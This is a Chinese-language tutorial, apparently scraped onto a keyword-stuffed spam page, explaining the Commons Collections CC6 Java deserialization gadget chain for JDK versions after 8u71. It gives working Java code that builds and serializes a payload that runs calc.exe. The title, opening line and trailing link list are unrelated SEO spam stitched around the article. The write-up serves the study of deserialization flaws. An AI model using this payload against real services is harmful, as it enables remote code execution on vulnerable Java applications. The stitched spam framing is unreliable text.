当前位置: 首页 > news >正文

山西 旅游 英文 网站建设中山网站建设搭建

山西 旅游 英文 网站建设,中山网站建设搭建,营销型网站建设的标准,单页网站源码下载一、前因因为在jdk8u71之后的版本中,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生了变化,导致CC1中的两个链条都不能使用,所有我们需要找一个在高版本中也可用的链条。/* Gadget chain: java.io.ObjectInputStr…

一、前因

因为在jdk8u71之后的版本中,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生了变化,导致CC1中的两个链条都不能使用,所有我们需要找一个在高版本中也可用的链条。

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

从上可以看出,我们在LazyMap#get部分到Runtime.exec部分的都没有变化,只是上面的调用部分发生了改变,所以说:解决java高版本利用问题,实际上就是在找上下文中是否还有其他调用LazyMap#get()的地方

二、解决办法

如上就是找到的类为org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue方法中调用了this.map.get。而其hashCode方法调用了getValue方法

所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了TiedMapEntry#hashCode

ysoserial中,是利⽤java.util.HashSet#readObject 到HashMap#put() 到HashMap#hash(key),最后到TiedMapEntry#hashCode() 。

实际上在java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调⽤,去掉了最前⾯的两次调⽤,在HashMap的readObject⽅法中,调⽤到了hash(key) ,⽽hash⽅法中,调⽤到了key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget。

三、代码构造

1.前面的没有变化,构造一个恶意的LazyMap

  • 为了避免本地调试时触发命令执行,构造LazyMap的时候先⽤了⼀个⼈畜⽆害的fakeTransformers 对象,等最后要⽣成Payload的

时候,再把真正的transformers 替换进去。

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

2.拿到了⼀个恶意的LazyMap对象outerMap ,将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

3.写入HashMap

  • 为了调⽤TiedMapEntry#hashCode() ,我们需要将tme 对象作为HashMap 的⼀个key。注意,这⾥我们需要新建⼀个HashMap,⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap,两者没任何关系

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
  • 为什么上面第三行有一个outerMap.remove("keykey");,主要是因为我在expMap.put(tme, "valuevalue"); 这个语句⾥⾯,HashMap的put⽅法中,也有调⽤到hash(key) ,这⾥就导致LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,因为前⾯⽤了fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响。所以只需要将这个移除即可。

4.替换transformers数组

  • 这里利用了反射调用了修改属性的方式进行替换

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

5.本地测试

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
objectInputStream.readObject();

http://www.laogonggong.com/news/60088.html

相关文章:

  • 无锡知名网站推广vps网站被镜像
  • 网站建设业务培训资料wordpress添加3d地图吗
  • 广州市增城区住房和建设局网站广州最大的跨境电商公司排名
  • 最强的网站建设电话手机如何做微商城网站
  • 推荐盐城网站建设阿里巴巴国际站
  • 延安做网站的公司织梦源码网站模板
  • 如何做魔道祖师网站阿里网站搭建
  • 网站手机端排名软件微网站开发提供的服务
  • 域名指向国外服务器做网站广州网络推广招聘
  • 做网站怎么收集资料网站被入侵别人是怎么做跳转的
  • 建设网站合同范本辽宁建设银行企业银行官方网站
  • 会网站制作的职业是国内知名网站建设伺
  • 做物业管理的企业网站自贡企业网站建设
  • 网站子站怎么做的厦门自助网站建设报价
  • 百度互联网公司邯郸分公司西安seo技术培训班
  • 中国建设银行网站的主要功能上海建站网站的企业
  • 现代企业管理培训课程如何优化网站信息架构
  • 商城网站制作公司地址互联网大厂一般指哪些公司
  • 网站开发技术路线图手机微信可以做网站吗
  • 如何在交易网站做电子印章网页导航菜单设计
  • 花生壳做网站是否稳定网站模板怎么修改logo
  • wordpress下载站批量微信支付 企业网站
  • 佰联轴承网做的网站购物网站技术实施方案
  • 电子书制作公司网站西部数码网站管理助手ftp
  • 重点建设政协网站网页设计与网站建设案例课堂
  • 手机上网站用建设工具百度店铺怎么入驻
  • 建设网站的一般过程深圳哪些设计公司做网站比较出名
  • 国家城乡建设部投诉网站网站首页qq在线咨询js
  • 宁夏建设技术职业学院官方网站网上推广兼职
  • 简历设计网站东莞麻涌网站建设